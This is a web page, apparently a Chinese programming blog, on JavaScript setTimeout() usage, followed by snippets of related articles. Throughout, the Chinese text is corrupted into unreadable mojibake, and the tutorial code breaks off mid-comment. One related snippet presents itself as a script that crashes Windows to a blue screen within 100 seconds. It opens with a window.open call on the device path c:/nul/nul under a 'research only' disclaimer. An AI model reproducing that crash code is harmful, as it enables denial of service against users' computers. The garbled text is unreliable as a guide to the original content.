Javascript: setTimeout()ʹÓü° setInterval()ʹÓÃ
Evaluates an expression after a specified number of milliseconds has elapsed.
(ÔÚÖ¸¶¨Ê±¼ä¹ýºóÖ´ÐÐÖ¸¶¨µÄ±í´ïʽ)
Syntax:
iTimerID = window.setTimeout(vCode, iMilliSeconds [, sLanguage])
Parameters
vCode
Required. Variant that specifies the function pointer or string that indicates the code to be executed when the specified interval has elapsed.
iMilliSeconds
Required. Integer that specifies the number of milliseconds.
sLanguage
Optional. String that specifies one of the following values:
JScript
Language is JScript.
VBScript
Language is VBScript.
JavaScript
Language is JavaScript.
Return Value
Integer. Returns an identifier that cancels the evaluation with the clearTimeout method.
==============================================================
ÒÔÉÏÄÚÈÝÕª×Ôij±¾JScript½Ì³Ì(CHM¸ñʽ,³ö´¦²»Ïê,¸úÔ×÷Õß˵ÉùSorry)
ÒÔÏÂÄÚÈÝû³ÈκÎÈ˵Ä,Èç¹ûÓÐÀ×ͬ,¹À¼Æ²»ÊÇÄã³Å¼µÄ¾ÍÊÇÇɺÏ,ºÙºÙ.
-------------------------------------------------------------------
setTimeout( alert("3ÃëÖÖ¹ýÈ¥ÁË"), 3000);//µ÷ÓÃÒ»¸öº¯Êý,ÔÊÐí´ø³£Á¿²ÎÊý
-------------------------------------------------------------------
<script language="Javascript">
//by zuoyang
var x = 1;
var y = 2;
var z = 3;
var sum;
function Plus(a, b)
{
var z = 0;
var i = 0;
for (i = 0; i < arguments.length; i++)
{
z += arguments[i];
}
setTimeout( function() {alert(z);}, 6000); //¿ÉÒÔ´ø±äÁ¿²ÎÊýµÄsetTimeoutµ÷ÓÃÐÎʽ
return z;
}
setTimeout( function(){ sum = Plus(x, y, z); }, 3000);/*³ýÁË¿ÉÒÔ´ø±äÁ¿²ÎÊý»¹¿ÉÒÔ»ñÈ¡·µ
Ïà¹ØÎĵµ£º
¼òµ¥µÄÀý×Ó£¬×Ô¼º¿´¿´£¬Ê¡µÃÒÔºóÀÏÊÇÈ¥ÕÒÁË¡£
<script language="javascript">
//ÓÃÕýÔòÌæ»»½«XÌæ»»³Éy
var s="daxdasx";//Ô×Ö·û´®
var k="x";//±»Ìæ»»µÄ×Ö¶Î
var re = new RegExp(k,"g");
alert("Ìæ»»Ç°×Ö·û´®Îª£º"+s);
s = s.replace(re,"y");
alert("Ìæ»»ºó×Ö·û´®Îª£º"+s);
</script> ......
ÔÚjavascriptÖлñÈ¡ÖÐÓ¢ÎÄ×Ö·û³¤¶ÈµÄÎÊÌâ
var i="Öйúa";
Ò»°ãÇé¿öÏ£¬ÎÒÃÇÓÃi.length»áµÃµ½½á¹û3
µ«ÓÐʱºòÎÒÃÇÐèÒª5£¬ÏÂÃæµÄС´úÂë¿ÉÒÔ½â¾öÎÊÌâ
Java´úÂë
1. <script>
2. alert (fucCheckLength("Öйúaaaa"));
& ......
µÚ8ÕÂ ·½·¨
JavaScript°üº¬ÁËÉÙÁ¿¿ÉÓÃÔÚ±ê×¼ÀàÐÍÉϵıê×¼·½·¨¡£
Array
array.concat(item…)
concat·½·¨·µ»ØÒ»¸öÐÂÊý×飬Ëü°üº¬arrayµÄdz¸´ÖÆ(shallow copy)²¢½«1¸ö»ò¶à¸ö²ÎÊýitem¸½¼ÓÔÚÆäºó¡£Èç¹û²ÎÊýitemÊÇÒ»¸öÊý×飬ÄÇôËüµÄÿ¸öÔªËØ»á±»·Ö±ðÌí¼Ó¡£´ËÍ⣬Çë²Î¼û±¾ÕºóÃæµÄarray.push(item…)·½·¨¡ ......
¡¾£¡ÉùÃ÷£º´Ë³ÌÐòÖ»¹©Ñо¿Ê¹Óã¬ÈçÓÃ×ö²»Õýµ±ÓÃ;ºó¹û×Ô¸º¡¿
100ÃëÄÚÀ¶ÆÁËÀ»úµÄJavascript½Å±¾Ô´´úÂë
Òý×Ô:http://www.webdeveloping.cn/blog/?action=show&id=78
<html>
<head>
<script LANGUAGE="javascript">
¡¡¡¡function leave() {
window.open(file:///c:/nul/nul,,toolbar=no,menub ......
//»ñÈ¡µ±Ç°Îļþȫ·¾¶
<script language="javascript">
alert(window.location.href);
alert(window.location);
alert(location.href);
alert(parent.location.href);
alert(top.location.href);
alert(document.location.href);
alert(document.URL);
</scri ......